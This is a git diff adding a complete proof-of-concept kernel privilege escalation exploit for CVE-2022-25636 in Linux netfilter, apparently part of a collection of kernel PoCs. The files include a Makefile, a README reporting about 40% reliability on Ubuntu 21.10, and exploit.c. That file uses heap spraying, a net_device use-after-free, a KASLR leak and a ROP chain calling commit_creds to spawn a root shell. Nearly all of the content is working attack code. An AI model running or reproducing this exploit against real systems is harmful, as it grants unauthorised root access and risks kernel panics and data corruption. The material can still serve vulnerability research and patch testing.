diff --git a/data/KernelPocs/CVE-2022-25636/Makefile b/data/KernelPocs/CVE-2022-25636/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..47fc7806713764820d40f13542e5920975c62243 --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/Makefile @@ -0,0 +1,11 @@ +LDFLAGS = -no-pie -I/usr/include/fuse -lfuse -pthread -lmnl -lnftnl +CC = gcc + +all: exploit + +.PHONY: exploit +exploit: + $(CC) exploit.c fakefuse.c util.c -o exploit $(CFLAGS) $(LDFLAGS) + +clean: + rm -f exploit diff --git a/data/KernelPocs/CVE-2022-25636/README.md b/data/KernelPocs/CVE-2022-25636/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e9fb082365f199ba07cc050c59a53fc8b346d815 --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/README.md @@ -0,0 +1,8 @@ +# CVE-2022-25636 +This is my exploit for `CVE-2022-25636`. +I tested it against Ubuntu 21.10 with kernel `5.13.0-30`. +Works about `~40%` of the time, in the other cases you likely get a kernel panic. +The exploit might corrupt important data on heap, after an unsuccessful attempt it's best to reboot. + +![](./poc.png) +referenced from [Bonfee](https://github.com/Bonfee/CVE-2022-25636) \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-25636/exploit.c b/data/KernelPocs/CVE-2022-25636/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..8821547d952c67b82611cf8002b07b71ff0c0feb --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/exploit.c @@ -0,0 +1,642 @@ +#define _GNU_SOURCE +#include "util.h" +#include "fakefuse.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// #define DEBUG +#define SPRAY_128 500 +#define SPRAY_128_FREE_IDX 400 +#define SPRAY_192 500 +#define SPRAY_192_FREE_IDX 400 +#define SPRAY_4K 1000 +#define LEAK_HEAP_MAX_TRIES 10 + +void shell(); + +int spray_128_qids[SPRAY_128], spray_192_qids[SPRAY_192], spray_4k_qids[SPRAY_4K]; +int child_done = 0; + +pthread_t thids[SPRAY_4K]; +uint64_t setxattr_bufs[SPRAY_4K], setxattr_bufs_2[SPRAY_4K]; + +const char *spray1_path = "1", *spray2_path = "2"; +char *fargs_fuse[] = {"exploit", "/tmp/foo", NULL}; + +static const struct fuse_operations fuse_ops = { + .getattr = fuse_getattr, + .readdir = fuse_readdir, + .read = fuse_read +}; + +uint64_t child_net_device_leak = -1, net_device_leak = -1; +uint64_t kaslr_base; +uint64_t stack_pivot_gadget = 0xffffffffae48c7d4 - 0xffffffffae400000; +uint64_t pop_pop_pop_ret = 0xffffffffae5aafed - 0xffffffffae400000; +uint64_t pop_rdi_ret = 0xffffffffae495040 - 0xffffffffae400000; +uint64_t prepare_kernel_cred = 0xffffffffae4d4590 - 0xffffffffae400000; +uint64_t commit_creds = 0xffffffffae4d4330 - 0xffffffffae400000; +uint64_t xor_dh_dh_ret = 0xffffffffae908f19 - 0xffffffffae400000; +uint64_t mov_rdi_rax_jne_ret = 0xffffffffae9c01f4 - 0xffffffffae400000; +uint64_t pop_r12_pop_r15_ret = 0xffffffffae49503d - 0xffffffffae400000; +uint64_t kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq = 0xffffffffaf201006 - 0xffffffffae400000; +uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; + +void vuln(int oob_writes, int legit_writes) { + // setup table + struct nftnl_table *table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x"); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + // chain + struct nftnl_chain *chain = nftnl_chain_alloc(); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x"); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y"); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo"); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter"); + + struct nftnl_rule *rule = nftnl_rule_alloc(); + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x"); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y"); + + struct nftnl_expr *exprs[128]; + int exprid = 0; + + exprs[exprid] = nftnl_expr_alloc("meta"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + + exprs[exprid] = nftnl_expr_alloc("cmp"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ); + nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + + exprs[exprid] = nftnl_expr_alloc("payload"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + + exprs[exprid] = nftnl_expr_alloc("cmp"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + + // with these we can control the targeted kmalloc size + for(int i = 0; i < legit_writes; i++) { + exprs[exprid] = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + exprs[exprid] = nftnl_expr_alloc("dup"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + } + + // oob writes + for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) { + exprs[exprid] = nftnl_expr_alloc("dup"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1); + nftnl_rule_add_expr(rule, exprs[exprid]); + exprid++; + } + + // serialize + char buf[MNL_SOCKET_BUFFER_SIZE]; + + struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + int seq = 0; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + struct nlmsghdr *nlh; + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_NETDEV, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain); + + mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2)); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_NETDEV, NLM_F_CREATE | NLM_F_APPEND, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +/* + 4k spray using setxattr +*/ +// Setup setxattr spray to leak kaslr +void setup_setxattr() { + uint64_t mmap_addr = 0x50000000; + + system("touch /tmp/foo.txt"); + + int fd = open("/tmp/foo/1", O_RDWR); + if (fd < 0) { + perror("open() failed"); + exit(-1); + } + + for (int i = 0; i < SPRAY_4K; i++) { + setxattr_bufs[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); + if (setxattr_bufs[i] != (uint64_t)mmap_addr) { + perror("[!] setup_setxattr(): mmap error 1"); + exit(1); + } + + memset((void*)(setxattr_bufs[i]), 0x42, 0x1000); + memset(((void*)(setxattr_bufs[i])) + 0x1000 - 700, 0x0, 700); + + ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo" + ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr + ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08' + ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex + + if(((uint64_t)mmap((void*)(setxattr_bufs[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs[i] + 0x1000)) { + perror("[!] setup_setxattr(): mmap error 2"); + exit(1); + } + + mmap_addr += 0x2000; + } + +} + +void *setxattr_sprayer(void *i) { + setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs[*(int*)i]+16, 0x1000, XATTR_CREATE); +} + +void spray_4k() { + for (int i = 0; i < SPRAY_4K; i++) { + int* arg = malloc(sizeof(int)); + *arg = i; + pthread_create(&thids[i], NULL, setxattr_sprayer, arg); + } +} +/* */ + +/* + 4k spray using setxattr - 2 +*/ +// Setup setxattr spray to rop +void setup_setxattr_2() { + uint64_t mmap_addr = 0x60000000; + + system("touch /tmp/foo.txt"); + + int fd = open("/tmp/foo/2", O_RDWR); + if (fd < 0) { + perror("open() failed"); + exit(-1); + } + + for (int i = 0; i < SPRAY_4K; i++) { + setxattr_bufs_2[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); + if (setxattr_bufs_2[i] != (uint64_t)mmap_addr) { + perror("[!] setup_setxattr_2(): mmap error 1"); + exit(1); + } + + memset((void*)(setxattr_bufs_2[i]), 0x42, 0x1000); + memset(((void*)(setxattr_bufs_2[i])) + 0x1000 - 700, 0x0, 700); + + int k = 2; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x6f6c; // dev->name = "lo" + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x4444444444444444; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_rdi_ret; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + prepare_kernel_cred; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + xor_dh_dh_ret; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_pop_pop_ret; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + mov_rdi_rax_jne_ret; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + commit_creds; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq; + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rax + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rip; // user_rip + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_cs; // user_cs + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rflags; // user_rflags + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_sp; // user_sp + ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_ss; // user_ss + + ((uint64_t*)(setxattr_bufs_2[i]))[28] = 0x43434343; // ifindex + ((uint64_t*)(setxattr_bufs_2[i]))[68] = (net_device_leak + 0x218) - 0xc8; // *ethtool_ops ptr + ((uint64_t*)(setxattr_bufs_2[i]))[69] = kaslr_base + stack_pivot_gadget; // *func ptr + + if(((uint64_t)mmap((void*)(setxattr_bufs_2[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs_2[i] + 0x1000)) { + perror("[!] setup_setxattr_2(): mmap error 2"); + exit(1); + } + + mmap_addr += 0x2000; + } + +} + +void *setxattr_sprayer_2(void *i) { + if(setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs_2[*(int*)i]+16, 0x1000, XATTR_CREATE) == -1) { + perror("setxattr"); + exit(1); + } +} + +void spray_4k_2() { + for (int i = 0; i < SPRAY_4K; i++) { + int* arg = malloc(sizeof(int)); + *arg = i; + pthread_create(&thids[i], NULL, setxattr_sprayer_2, arg); + } +} +/* */ + +/* + 128 spray using msg_msg +*/ +void spray_128() { + char buffer[0x4000] = {0}; + msg *message = (msg *)buffer; + + memset(buffer, 0x41, sizeof(buffer)); + for (int i = 0; i < SPRAY_128; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + send_msg(spray, message, 128 - 0x30, 0); + spray_128_qids[i] = spray; + } +} +/* */ + +/* + 192 spray using msg_msg +*/ +void spray_192() { + char buffer[0x4000] = {0}; + msg *message = (msg *)buffer; + + memset(buffer, 0x41, sizeof(buffer)); + for (int i = 0; i < SPRAY_192; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + send_msg(spray, message, 192 - 0x30, 0); + spray_192_qids[i] = spray; + } +} + +void delete_192(int i) { + char buf[0x1000] = {0}; + get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); +} +/* */ + +/* + 128 spray using msg_msgseg +*/ +void spray_128_msgseg() { + char buffer[0x4000] = {0}; + msg *message = (msg *)buffer; + + memset(buffer, 0x41, sizeof(buffer)); + for (int i = 0; i < SPRAY_128; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + // this will allocate a 4k msg_msg and a 128 msg_msgseg + send_msg(spray, message, 0x1080 - 0x40, 0); + spray_128_qids[i] = spray; + } +} + +void delete_128(int i) { + char buf[0x1000] = {0}; + get_msg(spray_128_qids[i], buf, 128 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); +} +/* */ + +void rop() { + struct ethtool_cmd ecmd; + struct ifreq ifr; + int fd; + + memset(&ecmd, 0, sizeof(ecmd)); + memset(&ifr, 0, sizeof(ifr)); + + if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { + perror("socket()"); + exit(1); + } + + ecmd.cmd = ETHTOOL_GSET; + ifr.ifr_data = (caddr_t)&ecmd; + + strncpy(ifr.ifr_name, "lo", IF_NAMESIZE); + + ifr.ifr_name[IF_NAMESIZE-1] = '\0'; + if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) { + perror("ioctl(SIOCETHTOOL)"); + exit(1); + } + puts("[+] ioctl(SIOCETHTOOL) done"); +} + +uint64_t check_heap_leak() { + char buffer[0x4000] = {0}; + uint64_t leak = -1; + + for (int i = 0; i < SPRAY_128; i++) { + if(i == SPRAY_128_FREE_IDX) continue; + + get_msg(spray_128_qids[i], buffer, 0x1080 - 0x40, 0, IPC_NOWAIT); + + if((((uint64_t*)buffer)[507] & 0xffff000000000000) == 0xffff000000000000) + leak = ((uint64_t*)buffer)[507]; + } + return leak; +} + +uint64_t do_heap_leak() { + int i = 0; + uint64_t leak; + + do { + #ifdef DEBUG + printf("[*] leak net_device try no. %d\n", ++i); + #endif + + spray_128_msgseg(); + delete_128(SPRAY_128_FREE_IDX); + vuln(1, 1); + leak = check_heap_leak(); + } while ((leak == -1) && (i < LEAK_HEAP_MAX_TRIES)); + + return leak; +} + +int child(void *a) { + child_net_device_leak = do_heap_leak(); + child_done = 1; + sleep(10000); +} + +void leak_heap(int leak_child) { + // Leak child's net_device struct + if (leak_child) { + void* stack = malloc(200000); + int tid = clone(child, stack + 200000, CLONE_VM|CLONE_NEWUSER|CLONE_NEWNET, NULL); + + // Wait for child to exit + while(!child_done) { + sleep(1); + } + + free(stack); + + if(child_net_device_leak == -1) { + puts("[!] couldn't leak child's net_device ptr"); + exit(1); + } + } else { // Leak parent's net_device struct + net_device_leak = do_heap_leak(); + if(net_device_leak == -1) { + puts("[!] couldn't leak parent's net_device ptr"); + exit(1); + } + } +} + +uint64_t kaslr_leak() { + struct ifreq *leak = calloc(1, 0x1000); + strcpy(leak->ifr_name, "lo"); + + int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); + if(!fd) { + perror("socket()"); + exit(1); + } + + if(ioctl(fd, SIOCGIFHWADDR, leak) != 0) { + perror("ioctl(SIOCGIFHWADDR)"); + exit(1); + } + + uint64_t kaslr_leak = ((uint64_t*)leak->ifr_addr.sa_data)[0]; + + if((kaslr_leak & 0xffffffff00000000) == 0xffffffff00000000) + return kaslr_leak; + + return -1; +} + +void shell() { + // thanks movaps + syscall(SYS_execve, "/bin/sh", 0, 0); +} + +void save_state() { + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int free_netdevice() { + char buf[0x300]; + + spray_192(); + delete_192(SPRAY_192_FREE_IDX); + vuln(6, 2); + + for(int i = 0; i < SPRAY_192; i++) { + if (i == SPRAY_192_FREE_IDX) continue; + + get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); + + if(((uint64_t*)buf)[0] == 0x4141414100000005) { + return 0; + } + } + return -1; +} + +int main(int argc, char **argv) { + // Unshare + if (geteuid() != 0) { + char *args[] = { + "unshare", + "-Urnm", + argv[0], + NULL, + }; + execvp("unshare", args); + err(1, "unshare re-exec"); + } + + // Assign to cpu 0 + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { + perror("sched_setaffinity()"); + exit(1); + } + + // Setup FUSE + mkdir(MNT_PATH, 0777); + pipe(spray1_pipes); + + int pid = fork(); + if (!pid) { + fuse_main(sizeof(fargs_fuse) / sizeof(char *) - 1 , fargs_fuse, &fuse_ops, NULL); + puts("[!] END OF FUSE MAIN 1"); + sleep(500); + } + sleep(2); // Wait for fuse_main + + // Save state to return to userland + save_state(); + + /* + 1. Leak heap + */ + puts("[*] STEP 1: Leak child and parent net_device"); + leak_heap(0); + printf("[+] parent net_device ptr: 0x%lx\n", net_device_leak); + + leak_heap(1); + printf("[+] child net_device ptr: 0x%lx\n", child_net_device_leak); + + // Setup 4k setxattr buffer to later realloc net_device and leak kaslr + setup_setxattr(); + + /* + 2. Free net_device + */ + puts("\n[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device"); + int freed = 0; + for (int i = 0; i < 20; i++) { + #ifdef DEBUG + printf("[*] free net_device try no. %d\n", i); + #endif + + if(free_netdevice() != -1) { + freed = 1; + break; + } + // usleep(500000); + } + if(!freed) { + puts("[!] couldn't free net_device"); + exit(1); + } + puts("[+] net_device struct freed"); + // sleep(2); + + /* + 3. Reallocate net_device + */ + puts("\n[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device"); + spray_4k(); + sleep(2); + + if(if_nametoindex("lo") == 0x42424242) { + puts("[+] obtained net_device struct"); + } else { + puts("[!] couldn't realloc net_device struct"); + exit(1); + } + + /* + 4. Leak kaslr + */ + puts("\n[*] STEP 4: Leak kaslr"); + // Leak kaslr + if((kaslr_base = kaslr_leak()) == -1) { + puts("[!] couldn't leak kaslr"); + exit(1); + } + + printf("[*] kaslr leak: 0x%lx\n", kaslr_base); + kaslr_base -= 0x130a420; + printf("[*] kaslr base: 0x%lx\n", kaslr_base); + + /* + 5. Free net_device and realloc it + */ + puts("\n[*] STEP 5: Release setxattrs, free net_device, and realloc it again"); + char buf[SPRAY_4K] = {0}; + write(spray1_pipes[1], buf, sizeof(buf)); + + for (int i = 0; i < SPRAY_4K; i++) + pthread_join(thids[i], NULL); + + // Setup 4k setxattr buffers to realloc net_device and start rop + setup_setxattr_2(); + + spray_4k_2(); + sleep(2); + + if(if_nametoindex("lo") == 0x43434343) { + puts("[+] obtained net_device struct"); + } else { + puts("[!] couldn't realloc net_device struct"); + exit(1); + } + + /* + 6. Roppp :) + */ + puts("\n[*] STEP 6: rop :)"); + rop(); + + return 0; +} \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-25636/fakefuse.c b/data/KernelPocs/CVE-2022-25636/fakefuse.c new file mode 100644 index 0000000000000000000000000000000000000000..93f7dc2dd69d8b89e54c5d85702ec689f70c3495 --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/fakefuse.c @@ -0,0 +1,44 @@ +#include "fakefuse.h" + +int spray1_pipes[2]; + +int fuse_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + if(strcmp(path + 1, spray1_path) == 0) { + char signal; + read(spray1_pipes[0], &signal, 1); + } else if (strcmp(path + 1, spray2_path) == 0) { + sleep(100000); + } + return size; +} + +int fuse_getattr(const char *path, struct stat *stbuf) { + int res = 0; + + memset(stbuf, 0, sizeof(struct stat)); + + if (strcmp(path, "/") == 0) { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } else if (strcmp(path + 1, spray1_path) == 0 || strcmp(path + 1, spray2_path) == 0 ) { + stbuf->st_mode = S_IFREG | 0444; + stbuf->st_nlink = 1; + stbuf->st_size = 0x1000; + } else { + res = -ENOENT; + } + + return res; +} + +int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { + if (strcmp(path, "/") != 0) + return -ENOENT; + + filler(buf, ".", NULL, 0); + filler(buf, "..", NULL, 0); + filler(buf, spray1_path, NULL, 0); + filler(buf, spray2_path, NULL, 0); + + return 0; +} diff --git a/data/KernelPocs/CVE-2022-25636/fakefuse.h b/data/KernelPocs/CVE-2022-25636/fakefuse.h new file mode 100644 index 0000000000000000000000000000000000000000..307f3c8650eac14d00049f3e1cb1be4d1afb6f8e --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/fakefuse.h @@ -0,0 +1,18 @@ +#define _FILE_OFFSET_BITS 64 +#define FUSE_USE_VERSION 29 +#include +#include +#include +#include +#include +#include +#include + +#define MNT_PATH "/tmp/foo" + +extern int spray1_pipes[2]; +extern const char *spray1_path, *spray2_path; + +int fuse_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi); +int fuse_getattr(const char *path, struct stat *stbuf); +int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi); \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-25636/poc.png b/data/KernelPocs/CVE-2022-25636/poc.png new file mode 100644 index 0000000000000000000000000000000000000000..da3ac8d87742671a06a4724554a50ae5c8a7dbf2 Binary files /dev/null and b/data/KernelPocs/CVE-2022-25636/poc.png differ diff --git a/data/KernelPocs/CVE-2022-25636/util.c b/data/KernelPocs/CVE-2022-25636/util.c new file mode 100644 index 0000000000000000000000000000000000000000..75d527367e3f582d0c90b56ba90f1ac7932b43a4 --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/util.c @@ -0,0 +1,28 @@ +#include "util.h" + +int32_t make_queue(key_t key, int msgflg) { + int32_t result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget failure"); + exit(-1); + } + return result; +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + //exit(-1); + } + return ret; +} + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) { + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsend failure"); + //exit(-1); + } + return; +} \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-25636/util.h b/data/KernelPocs/CVE-2022-25636/util.h new file mode 100644 index 0000000000000000000000000000000000000000..603009afa8ee837e7ed982df91c144c518a411f7 --- /dev/null +++ b/data/KernelPocs/CVE-2022-25636/util.h @@ -0,0 +1,29 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +int32_t make_queue(key_t key, int msgflg); +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file